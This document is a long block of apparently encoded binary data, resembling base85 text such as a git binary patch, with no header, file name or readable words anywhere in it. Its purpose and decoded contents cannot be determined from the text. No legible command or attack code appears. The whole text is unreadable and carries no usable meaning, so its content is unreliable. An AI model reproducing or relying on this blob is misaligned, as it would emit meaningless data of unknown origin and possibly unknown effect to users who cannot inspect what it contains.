zG>csCM?ZT+{u*)W5pfjOcDhhGy=g_@t;V5edjQcRvN8Tov0}^o$ReVfSYC$_2G_^>wSRpH|OzPriOP*XZ zmKNFCz&9~SyMXxR(!Aq|7IXJgX!F#;R0IWS@ak>#raH701NtVUtZ#4j6|XqrD-Wss zKB_orGm%b#p2}(u8EMR{Ub-Xd>i@AlX?wMf$ZK=5+@iV@*I|t6AXzvmF#e{I#y@!R z5&!c(^^R{bF3vx5+Mixq8k=ePYWG%CUL>kCe_*6$OtnRu&O5M-kRO<-&2r{atBhFt zNnCl!fEoA5d_(S1h%r-ZxumCd+4)Y^`G$lEoWM!nN|{w_C;y8jkCwXfZ;dCVrG0`0 z#zz#|70!0N4o|X0J|8J7`SX2^KwQFgQ+Nmz_=hJVA zX^iIwi*2l&wGBXQQXkO+WxeD?MtK_OvXhVA9_UK0`|c!E3&62ZgoVCApRPBG&WClK%>d<0{E zoUWDLkd>BFH64^knmQSwYy&9>HK8~52*wh~XHFg6#Tkdj=o`=%pPxp++9O-z(x)YV zIk^m3y%*hTP96eNnTvSOiiXBlI@(?05c0A z9@S{KMvB#JRxU~=AM4~c`1R^I4!5Qz#3aEb_(&a&K}BJt@W!iD&Mcq?@-hDT-IhnWOIK7=kb< zRM#{w)oF_qYWK~=+X%u$D3iRGO zw3~X0d)gTOME`^4hE_XabxdOlta%W1s~UHoN`Vv0QW;Buwv?0G$tX%uweb%4L)~Tk z$LY7|L<3RxXIN<-DvF5u;I?7v*9=O6K$=3nf->+C7E+!BRj%1O_lEuN-8tb*#D?A7 z^HD|1Db2|>&VU9+-G7XJ3s#x;cr68IB$q;3;;+Mr(PFoQc5GS^w7I2A3eF3Fuib&A zM4!PmG#8XxjQ*xQS82pA)kg&ab|FDKVmqLkSUF&~wJ=NIw|~F|^S7&cNwBQbPTtC& zXP}V@5`5xp=3bk;Mg^1L&tQhstrS=e72V$*N)X65z^~eg=9lGO{Dcd$;GItBsM0y~ zcY~;)Wr;g!_ur8@eAT?j%P1rvG9y%{j!A(9YqM%YoDs$@d;k2bZ^Ka-uH<4%iY#q;ZMO-;VIfs|I4WC}m@#%f? zpjrNZ!o6FtqLS~l!Jm=0;v)q!g?~#bmN`XB;$i~?pq-X~-vcNEcyvk>8Pa`$gdd*qhv?{*$p4_`=qQnmf%#i*Ffms_H)SOSA6zF!FN z(DUC(d3g!P&L+m3YF;BjVzSXk- zM&bMqa3EcZC;vLa(Lw)O4(Kz+@fkCQoj=?c{v1SKa8M~T^%^X?NLwfvAqnmB#_mQ- zb-c*g$HJRq;O{=VNLaeq?mc4aEo3PN@8^2I+;yf%h4P#zyyAGSV#0&*>62wd_gr!9qm2Wuv36!qC)WOLP8x%1sChHA6nNwro zHET-@_kQ$Jr7eux2-S+0W!zDK6|_Thy{(8gPU|P$8?-?_>Az)zhAXXw?izR*BP>N| zz6-J&AZsT1HJbC!&Ud16G;%1dostS6UM<)Z*cG0X4_Jxb$SGkW*->6Z76yb@1#J`2 zHJr@C7mQKuZQ0sG3)AL5LTC$O_03Ma=H%s98hg-pUX&Mb7$C1`1xFo2iZ<%xsf<@ZIwn8Fjr9LV@e7mF(~Zc&GV~OMVaCk@P#f6(={)@gZ4->oOg1J ztPINBfy>M3d(cr8;uAU?nb=`5O}tjOT!{AU!L&2=r@mZCg-qL-8-(*rbSk8D)0`TV zsV}$f>aN3^;>&pdb3$cX$^(^93dN=x|@Hf;cy+J5aKGBN_2NOD6Z|25W;jM%1DTDJor>O6Mhu?0)y|EsbKX4i8*>^QeP5?WM@6 zyVLr}JoPVF?0{*QRR0LiHo(!UD5!3W+;@+bw?nCd#*S#E;!x4r^1i)a7Yj8tMbmd; zwxe^Qkz<^r|2=8k;Cl%>Bt%cLmJjxK|0?-wy;{_p1iyrbP#aw1a_aTb(Kr+pX~vq1 zjXmTxqZO!~DpoR#RY$L&ru@>z48o{y5baHcTU=uH34foG|G*!c6Hj%bzL zI)&Q#fN*{fDm?KUBN~ZTi4MK-v)7Ak?m)xg_6MI`r|fd6KPwNR-PZ3qyd3Ho`w8a^lW71E>Zx~*ymh)5b6|Gq1 zcS=z9L$nD%bw<(uf{WS`K9T&DxpVl6Ao)<%y!j|x*>+Sz=$Vg+*_WYd_GNJP|EWE5q3F( zIY)dndB;Lz?DbZN5?MLwh}`078muA5zjSTW8S5|GNXF>C-o(M#%0N4LALO(!d7^eE z9>eV%0GZd4ShS zjjiEx94>RN*duWT+VxWL@bja~gR4nvY3qLyHn_>1w_qJs)8~j?ru>kz--Ahk*XKfw zrvC=8IJC0?oNwIL%>%)-60r3`O7&{C1M1A*ZIKO<0I$?L_7_RxmV&P)5Q`t@Qv;TDMKe75 zb1+4!ve|k(gmOv|y|%TY?Ibks%}J3&oM(@BX4%a24|D%rpqn9^{BO&9k=N3c6LbX$ z`I#SjAntt>C&A_y`6IkmpCq7uS4bsZfv3Hm>kh5KyAA?d#c)BCO^gdVYu5j}g$Ho) zKM+QVrCB4bG4T9BzBzw5SXeqv!0+1Zv(-oC>$QrdD15%0*cKj|PQIgB2{2qcXWSQl0O)Evi?cnrBL;S@r zV2LB^um8T%k`TH>fU_XT3yrz+br@}s%_r|$WZC_|SZs?}vwC6WLa2qPI}DYbpUk6L zwP#@OJ^*J|gK_Y0M}2T-9#oARILQHiNB_2)W7Dr8U|j-vsDONKM&n}E75D%?JgffG zWy;_n&;eE~V1o=p0ecJ}+Maf*_(XqYi*@QY);^3` zqmnxOVo7QxI;j+Pm-eomse%I6&KrCKoHBZp^yYmzvv$1oY*5GwBXS!$q>Hw?&p@nb z`iHKZgzU9#)95x|17;tmw-)TS5eX)36is}E##BIIPS)h-8^|{ScvgUjqldF4moD2+ zXqwmQkxW+I9|SngDc@x536%W~0NrBf9(mnJLeO_h>CM4H<0EJqT`(GW1YJd6FPQ5@ z1v2NiuwP;goiLp>Z{30QjwnQ0lqnCRFRk0bvfBry^w7N)8-rg|rF1R*IQsDN?5plW z5*9ecmrI_mA@Srzs_ zZR)96B9Ew|`2_hGXF>BiptP`=6bbP4x62dc)*O_0W+=(#wmJ{)$MhMXDDqUS!GZrr z)tARZ)rS3_Ss3e(B?=8vL?S6+dnW~yv8qJ~KLvzny<=+o4 z;Oie{>>_P%lPlIr&m>xM*g4=+CPU05C6Ln5tLlaKDuKOcD0%P-entZXFfNr#73xWj zYf0zy{MS>4PSYGL%JZNO?!*P4v81D$WwjGyH?Fk#7V!!ISDBBon6VM|MX}q*66NJP zYY4bX*D2Dmf{(`~Yn<;qLi+3~Rt!M9q1?|E*9f}Pj6M8_dooE}3l95VqY6nz`$wps zEbcC{?8v2}Q){x992&k=B0ENP3M?G3`L_YnG*wu8E>(a?#`J5qPls`9{0^m1BD-&s39$qB8!<*JAp0Z|a zS7PjXdzz~t?Z3z^;WE0H-)aOB@clG|%w6=IQ!w~}no7TwOh?Be9TkXDai2ewgo%LYymx2-KA-#v~*4(BHtGVE} zny2?eZxs7F*3^C@DBY0gOC_9nLYtn7yz8JSusY_ebdg(z(eI@Fc&4O2MCYg~a*I5` zmPq=Nwiz}cWJq6>Ln{3manEqt!S1-Av>ow;;mvq;(Hlb`l2>PHNl(;hI&byEyYkNgChUej>VfA2@hrEAa^048*(5@#nEmb#aGYgmYd!RMj*yHTPdD*{J2^ z1hu)+3RHu9;)x>tEO#I=cJ+cKMO&dWKU?z+s(#kpYhvnxhTQ5YyWXyQ8>$6eL582u zf_yByp)0tsM?gU5w%AQZ9{hL7R`Pvx5D?{1=nd|o$bSU8;E&xy+#AilZ-hIJ_6;_y z0{nFkdYjc(k&&9nO%@n%Eq->Qc*z&{6kQ~?YWc4v z+{62}FSfZD{x-hG#GbXz4Bmas$0PuT#kUgK|2jSujQWyD~ZZHFWt!~ zTLx(sheMJZ14EEe=&Qyys7jAjsk?How`m^8kpOtY3B3UMSnz`SRCn49RWSWCD=wJK zK9A(kR|%=>qogdNrKGxe%Gu#3seY1nBt34@n1h$Ow2Lb356al38erGbIpzy8peO^; z+}!)X-Z$aO@P_CPVA&!5XAgy)+>A|=1H>cb5DUV-Gun#;Up1O={f}uEcm*B72Ow?f zfC!5E5T!qwD_t$|zjN?JTa+Tx)!6?;T|gpwrK1bvRl;eht_a9>J3=^jsOV3;dA!go zniQXoZYj^V$zgz9duC6(x=2`~Kv*XWS*1vwPh$^)(ld(6O z&9K<%id5+*J&}hLJ^7VNqA2NyAC5x78jK5erj1mI@fCF|bioE1*``7tJ?zSWt3cxt zL(G#$5B#IVjnCXp;(P~t0OTY86Wz0v$sfT)C+Yme!747vBu11*kLo9l%3wbxbBn5G z`EEtRu7gprgLT;OE0ef>@G~R+nfgTiwrc(Cekn$Rp_e#kB|qJE%Bt;O`8k?{1(?78 zzC?TUV)XMr`xU8^$L&e19PRhG50K7fu1paudsP|zLqYWabpWIE#TR@k7?WH z-hlAeOa^^E{@MrUY+>Oi3O3nq6j6HA3S1MHN6&kHRsO&I)yT=FpuM4NNO>)v`AU&vFgiN8GC6X5z9?q)B-6P%#93wa zb$y^Qa{})QlH~r~XrH-tDlA~sf4_e+=Ovq#j^;aC$Ge%xd-p?L60gGqmD%&Z;h8KZ z&-42y-gOK_yg`_C{yL>%@@25yoX{u8XuA=R<5eBo?q(bQ-y(d@fiFQJZ+(!17tljt zMJM4ouFIYWN=oKk-w94SF6^~@PEMdnOfP)wbRH$ryNSwu-?|3_XUFiXK@be{LTaVziFIe z8#8tWwvZYpq1&n^g+Au;2Y|UwM@G+MdaFPOjTVBmcY41Vvj$?P5@@3&nj=g$&gS=)4HbPhnUPpRs<#F<8i@0M9}S(A4R2 zBSV;>-v3S6icQ!}2w3S*gc&C|gdOQ~1cVV?$>m|KA``R?mW#RiURdu8kCmD8^(RQl zT+hMC?!!@_TVVTMW56JLrpt&{x1Fz1piuF3ZF(2xhac!9vLP9K1U!HuCF@ye^^WBz(~Py#(FvgGwH?w@TEK?o^M9 z9t^HdNSna=0YX6Q9_XhFW=5+Ml|6uDN{T$U#FS*;Hy4S(MiLk}*3OzOetvY4J{wm! zNk4&g1n8LDmQim*=ulnki~?Jj|Df#XWF^@+Mpzvjn|ay50{A!vl`8tC*ZwOW-u3LI z2z)+YP&HGk93nj6Tn63aW^`B_FSwB2j|4KgeToZDTG6LJkd}!)J?q-fF8>9(a|H-k z-F0zyd@DNgVebW^-T27SDTU?eXZf)s$N5hrfgNBoYrzPvcw!An`A@uSR%41_^4R@a z(PSO_7|u7SNO5gh{K&u~6nQb!ZtDzO)OQba4SH?oyjvgNIrPk6Z;X1MxM$dqqQ zgnC4x>7}P19b#GSUllOXGsd3(ifJCC*u8xK-vj4f_0Qd(nNg&_E3#G;j{Bz~Mm2sP z6A!M@C}KpH^Z}?88l9v!!k7(5avSd4@yVBTbjBi%&mNs1QdaN5>5I030Tm_no}o(1 zFlanF0kkqYo`rS?!iR;a^1|O@?c&$^fUQuS=q*KFxYkoR70XQ%Z!+}`Z;_)4?I|>z z!(4@2Z;;c1h8#Im>dIwE<(j-wf}1TW=ReUnW)h2GXV_4uU{5?G5*zP65>sZ`B#HE8 z$S+Q?G^C|{{-p3*zBHKI;`gNys~U+_vqsE#(VqF9m`$pZ%qZ`l--fL&JGY zH;9AKD`wW+XIh?I{SW@}J~=LLTeiYd1*#!Ee#GK#>Xn*Tia|DQqvg=LTxz7xT?Fr< zLi^60lkz`k-mVcsr2)Z#CbZKJYe7YL0Auq~iJGDc=~s?ND#uA|;#2i#`{UKm5iU_{_raS$u%qG_WB|R^Px^}clr7ZE)96g5$FJl& zf<5HduKaNcQin@zV$&tA;5n7xCA2+PK0aM!oc>uC}E7z(@9C~&;r~!8$?0ka%g=D`{N1ExfQY= z%3l1s6qVJ!uh?5QI~CQ~q2w>c+M{%59LZ`b&u3o! zQ$><(g7=*S=CM4En~fSkj*#1Z*h8{D{}rP*E%t(w=$FJh_^`hAeVIJf1dr5H9^L0x z*?kc#(dTA=`_wx+37d%pM-sTWAr;oMp==Xm$&Umn(c$RaTRO-EkXGh?afwPrM0cqV z9W$|O?Cza4f;idwAZc!utiJ(R1Q*;31U*BnKSGk?Pb?q>EJBt+bC&5<)-RqbI%y%? zviT)(Nln?w*dly7ccK82bON7Jrdf07+aaxRWFvst;|u*U%k-~*Pt%{&i_yKg7tmXH zggfy7It!$V^-E@?s&w#J$ZFFdyvAH~bUw`Ot-YhOzma-h=Gsjn2e|w+Lei?-hM2CK zuu)xkBoBDd=?A=yRvhS;i_xM5?t_mo?%~zb4ySCe(4=vgRc>zB3!Woqq5u!Hugc{t zs|9+Rz~<=bj7)IF`s7#)nDic7mKeG7kNPv{mos+Hn=uvn@#(BJ(ger0_9MPVzHWFY zoti2Px(jp#9g9FVVjuKaKNsn?;r`xs z(`2d)9Y=$;kt9CIVa`%wg$z-BaWAf;^LSGZ`w&U&)KZ$!$SA-jGn4eR-{M?gsX0!i z2PTK(aoAcox!dS_6tB|p|GJzfjwfa-CL)J-uw zqKRm~Jfh1DZrw<8%*P;!`s4h;AgKimxLuRM36^Dq=+yKgMX}Rxa@c#pq>+CEB?)^g zNkdRAY3wrEr>eePxm=bzr;jrg0<+APT+hiifIhwJ%CqU>-TI$U2$F)*AXJie6WtB2 z%xot9{Q{aZCtDkF;>(im?Cjx#ZB%Or@*BFskoBhEJx|Bi-LX7X1~>anY2c*-=v*Un z1{{`8eEhZX9I|LXzUCe^_Rq(CC7R-q9lx4#f>O11J?=gbDTUrnUcepnt|W-Rv>QX! zRR>c$%Z5kD_E6S6CLJ%CrZq5&p*sS{pP3ti|LRWPvqjI}TE?`_$w=`@ z?_nPTW2GpAjoZl2ETTBtl&H&n( zRliRpl`xgLwWMuB!Od{v5PJtWl71J_(j@A4^8N7sToWB+kyU)K!_(K(AQ{vRI!`uj zJyUWlVYGQ~-{s0RK6^x~k56SsmFIe3{=A}A_!)=230K}$R={}UO)o3LbIib9=EC>6 zLi{ld(J*6YC9g+>+1h{NURuA&Uf(;loKk_R*tWZkPq`jnSNL@`wr!CpqeX1Z?}^_d z!|3IbjzNj&vMW%OoW*AR(NNaZwrusyi{|?M*5ma6O%^Wishp{&eDqK>+@uFkhcEwd z6o#pC?$p89H6mr23CHs)l!-1QG9J_JE!^JU*>DGa09{y^(D5C5d61g| z^Wm`DHJjt6lhADoem#+6QP32=Cyrm{4zv}XQT-Ym_Y7(@;=%Xvmbgd0X*~Pn1n5cK zm7nxIc?7wlBpcSAg$oI*xc1nd>bpeOuCNa8ZXA){I%yu8pQUlG*sB%&v{sydpUo(LS!=X@#MWe)^ z3%k6g*6stI9j(oSJ%$-XJ#mchsW|{JOfpSHe%mnDga12ZMH+}OtI^JTAS%d8oLU`0 zN~C`U9euEoq-o3ZU5`ql-x9d`@zgi#WDh_s?w5sH?Rwj4$P5ymvqBW80`b1C zT(9{bJwqkqSFYBwah5AXH{ zQNDYJSo8Rjf;O*I6h{ikf?A!tZWCrbcE|MU!`bHm_QW_Fjll-5aD(kdq#=5rD(3~n z_rQj)BJxXO4RDhlv?yv9f7^>c@5@ctk3A6Jr5{5ox2c_Y>vON!ov)vaC858`SW0n` z_hsI*s$1hS{t&mw7kWk>*^Iw;8rtw}Ao8`VA@$>ZO+^FZ!9iSk*Aox^)k&s}$gvw% z25CE3PZ7;o!c>m$vs2;Lmn(FTd8rhFf5Ae&QqNGWk0b#9)GeS&pKh4ra= zu0MkRIi%{6DI>22IL*NRy=vFl-8-r3lFM8w^x+nn2#b86ga5nX%ZR2ne9{w|v@HG( zH)1(%m&MJQq)%7BSEFr#69PrbR4GyMD?w&`7g)ZxIi4=3*_D~7bR`|czmfLRqIMme z+;z12Dgud=!5W+lPXm4dC9hQqf1rLu4n73^qnc3`1V|DtMxh84gQ$vA&Nk(MkhTnIFAxEmaDk(t14}bG!FYP!k;5*{7WU`GtPs#fGO%^A62OlJ1 z>dun7;q$TVpF2)`KMU4t*Pi%wz~WHgWa}Y#uE{Q`$3JkbcX<=qf4{ih6>H4R&Y5KL zhw66yY%TSVS;6)U1mA5Pq6A4a=`qwrS+2-Qy&qo)1?L&Mr&(bmoOtIGqn})3c>d>5 z;G16xP!eek213<e{b}gowME^fynS~M_TJad_w@a}wzo5X8RBsLE?&ruCmCtK9|Fm(Ao z|L}wLgu&-x8#s|to&o2<$UbuiU4bs@tq1Z~0OYnjY&uKqIq?|oP8?OG@fC1Y$9Rj{ z#m>6rBIh+9quA}Czq`UnmZdi>W>ZSjF158&=Y|7|mU0M1G&|A!&osN~rl3*!_fZhZ z+RVheiBHgMG`G!wgDfVdcgUTaArwz((8OriHw*bbTlhsxUX!`tmm*>!iuQd9dbDAP zqC&I%jyxl)ds;Ao591wAgXg?Rq-AaMys7G&W7Ur>^qike9N$L~B!^^7%d7;91DF!G z$W}UJVZtV>uFrI=Fn-!r*jsiBU7L)3-OFywomdw`_$r29n2R!cp}`#|o}MkD%!?*2XHhEdbBy@>};vg%030Xil0P=VC4GcDP7@1$rtp_rRW2 zQ!a`!1Tx<;!RVOl0jQLCF*QEhhGa9hVWr3<1wC0Be)3k?%VUCye`dRVveQ0o78}QF zMH+5+;2XV>xKMDogx8xQDx%H=#ow5Se0C%}Hmd~w&NWd*m%^ZBMZh--rd*zzwhZU( zPCW16r9-OVO-$V}iQoYSl1EQdv)9eagzzm^fTxaegUbl$6yWAj!^py^!783=1aE>e z_u(h?Y-#`5<}BXu1vFLcbXgA^HE^OgSYyc?xIpP7Qu4gjZ*Gw{SkZ&^%$!5C_+5%S*CVHqIt#I{uo|_xOfulU zd0n*@KoPE?$)7uBg+KQ2TS1TryTW1rqlAz{6e9SFl-Pejd+a4)vt8EG4b0`>V;P&U zjau5~jI8B#iUWSe6(_>j?=98(xVUiE&R2hS6bVM+;SJF-?^NIY8F?N2QDeUS;vB@t zLKoaDNIeb+zo~~8Ewv|YZ-`GP2dIfszQvweoMp=!=;apu10Fk7Pt}or zSdAOl+RchI7{GPPG%C=eW3jH4ipUay&-(GtW>7?pLh4;D^xx*MaOj0#){fnSQ#8Ap zp_T-o4gzz&Gz7U6=RN!A&?B`*X8y>9ZA0`N@Yq-`rlgtvTZu*@YK3?d{_*CrlgHxXD(j{7t;d(jDOO5Z3j~iDI2Sqn9oD&r_&f@T=&9 zSC_<0OAOIBf*yJ_z_-YXS=~v%#OpfA%A^YBW9MwQUgS;Ebws4jnS-SG&t=uM#Etxj zbkyw>?J?-*jFlL%k-;&E(bEH&f*@alP|*er$ukJUAplD^6kN}w0jvxA1mA>>(^j1f zgtWX00f58>&O~1U!(lD~EexUkLnx03W8rq%?iIrcT(Om44AD+lsipQkTo|zZ4-}mf z<+XW<|LBZ`iT~(~EwrMwB74*vNY_q?KLny(VqcT(efSw+c&Dy*YszPhSY5vY4H`)$ zgr>wl(aGHZWZ{K6fxui*ivUC(MC(r?FJmq)Cvrg6O_g8}miQ!Wvu$KX#A6TAx|UHC z!0|wZ_+>wEXQc<6ozr@(_Ibz)KbN6$02&8SDrF8dFlle=K}dM-S4Kl*?xWE30@)HW z&NZ$9=YbP~xb!W;usyRmXUMnBsmSQmpUk4FKTGAil>u#XBschoAwz_tSA`Cy#R((q z$mIE{x>$7XDiJvx9sUiswvpWmW?JF8xSJc{8^25z9tO=e?`BQ~eE^na9_G8|LKc{c zBm3h(0cm%t~W5+>LEoIzD@r-$64s9zYG|48w*2_4D?y`Tu)h*ZAgbT98>o9 zffT?v1s0>>s1osiu>i0=Jb?6-hBQB--9g<6CY66;^@${uF@OYd_qSTiw0eHj^=1cn zFK#O??A>?+5wB$mdg~Ew!{Qp=^!qr(GrR*h^e;)E;ok*zhJ-qPL z?y6AIQ-zSDUHsI;9|3P!oahNTj)cmas|nUDtJr@~LX3-QVCHORbWyOY%vnDVd{5#n zvH_2uOE8R*xcz`Sg5x?txm#9!O0lJ;UN;LFZJXJfpl#DhstSH zms7MytxR1!c|O_~FA^*TP!-DWBOfiA0~ra-n13|8R9N7?vwn+Htw1@5QV}bZ!&U|p zs&OBVvoa`+cUsG}S|9bnnHFQiL5}Xhl)#N=QEbkivj@w*te!rw2+&jqxF%RP4@=*aMye40TD8Nz#w=6`smXO0&FWAEPsM`d#VFWPlNB2O9uj zcQzO~LyZ794Rz|KD^@izbpYYb)Q;N(SK1n+*LrRw67tmo(5-IKz9d%6jaTmN}c zTF<;H{^)J=gnSZ5;h@(*+M=>^QnJVZIB|Z+bKhk%zXflwMvtX%*tTFU-q^!Ml3R!9 zokXw!{MTp~;GWUbJI}88)<1ydOl3v%{XW&e+z(oexQITGyiiZMtzAY-`i>Ms2bR>^ zR2c~`XxYO}Zz|?b!E2UGeA`2F!Jal|2m0?f|79Am2mQ^VP}dPa2>_i-Z}Wd8IX9;W zzC1X~Qq#>|!_O=p)qk;ScB1i62q43+hn=*%5+(Co?!bNJW(*IKFH!*XX1#XPphX&?zJvAQMM1SNlaTXoSKCa63>=C#a%Kv$s>Jhqq~4P7Xq( zYdVqFT3^P6jy*AH#sM0TC*T>%LeYo?Zi#O8J&R$)i5B>9=Gw()cdzooElx69%*;V@ zN0}HL+1*IF%^1cvD8Ryq6^fd?lL_Py!f*9e?r>|`AE!m-Ov+&XF)zYz2J8kJ1>Bpr zwg?)_6s{~oxnM*)!)O;e!$>#NHxEX~AAbE)>w5gW)@wWI(;iF7963?D!Cx#^e4L-; zhO3Egk>`Yd!TQ#;_~zt4pCk96f8s(!fkP0*m!@!2+m$e5$%-i)rQ{t;dl9fqO!q;*fO;&eAd{ca<=rfuIo69 zcxOV@J+Iis98*z-$=@f>b17*Sz*97V&eQcBLb^PclFv!-nm(WUqAId^d``vO{^jBt z6H<64di8V6t=-o-Gz z7aALRH<6<}R}fWd4mJ>AieXUQ@E?2S3nZ4U@A{bPxyzS*%j3&Gm-60*LPomt?u;Ya zE$R&uv)el|$e=V$1%* zD}#+i4Y+yoWJ0GtG}!x2MrN*O!6PD?6DD8dP!YoVN7GIEV0tErdjSA%#LE|K1)kqY zjvRjEDZ`j}>XEXWe8!9Kw#bDP(5&;D*cpTzVd#>$sc0&Qw}9+^B6$23nYVol*ZNG( zJZnFGNOJ$_c;5>J1844h-+L2REVyRF03|*Er~}S}lR0T*F#5nI+sK1a?@Z&9s@wrZ zvCcB+0kQfxY^Zn&;mbXH_9I7Qa$6?#kn(E3xo`csX~45(F7Z=u;0<5Q&K>Kf^;*nqTYuIh&X_Hj9G3xLsxMUF`VZ~3mQ?J_I5 z7S#19AC8UKQ4(#&e|grj1^sq?y}Ax8FfatVw5J6abLv{g+tizUhwlo;lkT?{x` zQ#;P!h~>m)V=-vHkqL7%9{mlh8-NR)IE*CDG*9+lOIns_F7KO)yGQIojwJ+FYU;f| z9q%>-o&EY00L(4-aNg^0|GRORMdJ4x8s7g@m2w*&%BR};Sr?lyRpls2?*0b}&vc2~ za6VQw{SfqFa|qSPZ);$__KPT87YywsKlJ^(+7m-2YsCv^w<8I^I1=~)zO|6|XRLAa zGBbVRsI3!nl$M7_L%nKnehX>8Pb1%!>JN^Cd98k!jgBv(NZRq3;QHhq8eG0ZB z?%`G+&kG|VvEFZ1TBw_OEjASp9SHWMn(sqkM&B&d>xm`YK8|}4V(<{8vIpVCxlxX} zOm_(|mmmoD_Fnq7a6JWITk};p!~x0U5?us99=qGc(*M}&{6Ll;8E*{8S=Xt(Si8in zMc;}sQbJYUxc09gz%|^A<>j-ynsBOZ zVfemJM|O~9260Xxa6&8j$u#?WEV#f!(5a7oGa7Xa={#w)2Se+epxP8)`)S-}@;PZ6 zXC9>k4}C@1?U;q%%dB%P8uI6MbAm7w|3Kv>QS(m<65R$ehJy7xYhv z81pLKso7{*26N8B1fB@qlhdlkidFY3=*Qm6hV^T%iRfB3Vy zBl%#+FJ90W;tffsEj8{E+kIHSl|lw^)>oz9=!tU4>AUxh9a{0b3lQo6i%(3nLA}W9 za<=F%>76v0|MES;4y{snJ_5iT`~G2zrkQa=05MWPr(ITh67mLGuuYMc+P+xR8_N2&t{NOFegOa6^ z2e!DxTsw2{ z{1Nzbs2~26qonfAJgY@@%{L?uoH1liLfc<|E>DTwy8k8`_IcIN8#6wsp{RU97j64K zbM5PkGph*4@oAC=;PRVS51|=bJ|(p8wA(CdPQ)$0CD*Y#=Nu2YSZw zjJi9|Eo*=cx@9++Yl_y-t?j65t-CPN5%ar>=WOh1K!KEhF7BFk2-@o6DZ#ygSSb9w z?{?;^rT;Bg+DmTTDx8>2&ILO(RJY82cGWBtYjbx@(TxQrJr$JWy?f-mHmkH4r z81;$hqQ8gwWi+)ZI|*ZO6`o+O_W^m^v=zl3e$(X$ZEi3*YW@7=svi2!+het&t$M)t@ zihY-oQkSg&%zr~N*D$iF$eAlmfi2Egkp%O}+< zSUoL?i|)OGZLNE8fVH`+2?>ycNa@CBYdqf`-1y+89BH(uaNG|cVooqzLG-R#&e#EX z;KYjKQjj%-#h86ogrqR7li4;xwS40XgvHXD)sq)D!sQR@`N9 zC`=*)#1BL-sN2Eo$rVJBLjgWOF)>hZI(qOOT-TAmL)fqnuKJR(BhG)+gro4q&Tz7< zL7{x&eJu9`$Tr94OZukxj>w$bPCE&4q_Yof(Al-%&oW%RL;V$N-1mC+-%A(hsU%U; zJ9s}&-;6gw#@6yDn!YHkK)qHzdu?@VeyS<^dhCJd8})SaaFZh&mLR;}-;IVcZs?Y; zWnBYh)t-i?hal_J!nO*FD>RAI2w<_uCiL{umRaLc0X>`eLIqz?7BvwScY^pQ_HvSa zTi9@cDhc2hqc==)m^UYq;;A%dwjg>s^L>VnbUP6ckyhd!1z%sY~sCa_4;?%hMqZ19;t8)~c1|HZ59Kp`J3ME4_+3Fpp zqRs!)IG@Az;stL;i&Hym7Ws{CQ)RYX~)UW=q|Od4!**HWmy^yncJ>k=IFBszH8MnsGyqahf0aKT`g( zk?IEhs-^C0&;Fd`9&;h2xq~ZzDQ@w}?8m&^Cb|?79-I0_L1ShC7Ze+bkCQw>j=dmg zUpRfu?X<%Ixer8lV^dW?dqyVJpPgLPvhW7^+`2RMiJwmB;ZRY6_4;NPV`Umt@<9#8D5 z*N0qPlqZvDajLee<-{AZ>SS%@CmMl=IU5XjX-n6D(AX)wziLh88mHHU8yjGd>HBx( zEkw`X!6kF~K@cko<~6drCKV<`UwYEk&ON%0w$0kD;F990xH1Q(w5WZqtmfrSb`>MI z?G3julyDj6sm72j*bcoQI{Epo?;0K8TZxBOd=;`>aLtmOcLgf8_G+nBJdgL)6^R1^ z;vGi-g#5^JG*52m8+FTI9p}|w|7iEPcJ_+14ga_h9{x3}P%@vb+s$kifX^C;rknQwn+w=}9o|2J zL$F$rai|tYEjqpGdXzur)r4?V+51X~FT|9h_>+(-^qDZKhpcBc$zM7~2F%BFBlR8e zn#T~%%5=;JA2$#+p-}_va;tj^?{~pI(k6rsi@0?%*vS#<(>8dI$Wsb?`LSr-wBwtq z0$r1R@RsR@dXpo^Y1q@mW1?TL-3;w(XlQ%;&N|uwLV<2y2;cy#GNn_gbZYi>BFj+m zr{=pmBvt&+TR*%cjuJ%RTd&D&EpdPsPyd=mv}u|+*ZUzx{KY&p1L{cmRa07c_cd%j z3@PNsEgEHq7spz>A(u^*n#?y4bO`B+lR?@IIKSs^1r*cl)uc%Wug`kgEiz9Z$ox>^ zw;CfYjn7Be>W$3R_0~+Ubs}X6uOp&lEiUKh3~oF2`BCbNxhHDy6;543M0}jm=$an( z$?~kw)t-}gfKPK&#_11a2t9LxR1#daxKT(wSy1sRxdQ2juVng031!LXOBu#U`mwRO zG;V~$s}hn?9z2fscP40?iXIJ9kIvEo&Hrc04&migwtxTNsfOPB+=v{kuhx1feB!fK zLhvZMWFJ?&SjqfhYOEs_DMB2d^WaHwr2SZ;`|&dH)bloBbwhecfH z^^jo;JTy&xHA6YpWC60w3{cAvG^}=z+}zci8%N;hpSsj_um-w`97RrDyd}x;IWd5< z_?n~LA_tve1n6tORMjlRt1gi|rXdPcqP6O@|C#{t_oUGM3Jb-A;`ii{pFCzW`dtPC zfX`Q@Db;AfXl`?i9$#mwS`^!}ah_H~TTc9j%hT1{ifdeWNCdqK{xCl9{Y_>mfwytN z3ysk+;!js7NJ76r=7uZn?K+z55Iy<7@>D&PZGhnAq1D)PU%%bw94XhK1A^AI0-!ML z;svY1c<$iKxQ!=W=bPTlWp!4v;T4o(*kBv3QTM_3y%~h#`xkqWf0p05N-W+DssPc9 z_K)_toZ6Ll!v8?Ew>HXN|0v@2^Wxo)wFqPD5BLc{!ebU7ae2FyTVxN_&d_V;DR0n| zEq)@kZsrzY4&ipixaXkd&QVWJFcDScA3ilvX2K&bms_d|k^MIxx=s34v}&Mi?D9xU z<-D;KAj&jYSt;}3mvLXAy5#jmtl0w<5|3%=qnDbY0}smzxkZ3l)!6n8nyMqxAXHAv zUcV2}z*0-U$uS}c&>g-KpsMPo*zs?vpjTfr?@@cpFY>LpbK}(Kb5Lbx_@T7jqq~nw z?8V=e_mZCsRSbt#5`S0yeEs?+{S3Z~?Bxnky)E-)RBlTc{*nxl0z{rgUeNC3pg<-_ zqgDQrYWouseU=PSm8LbreFIeK8OqC%_u~VqFt6@V9Irq>MI<3|ee2A?;@3n^tRG=M zR9NEgd1x{82s#N!o|_!%v%-2fvuD;wEB4Zk6#9QERjgV^+k(6K=H2Fezothe5n*qX z5;kq372ZGG%3PfX?`K5B<;ZZd6;UIc$~dHN0X-Y0KI3~nUY*B#9;>#y9q`0PgHlfq zL0Dj_YiFpf-YWjnNPIJN;%qmdmMhOJ(CvKfX34rt^zEfp?I*pT>oL5p^@^%13E%D z;1j>2`-17|O&3q@FMkL{YWO>R3EPO&JpqXtqJ{t6mu7r@8CDRKL{uDy5+zvUlE`Yz zafEtl7BB|83e?VG&v@^L(Tixs!1GA2P)yjNbq&^ 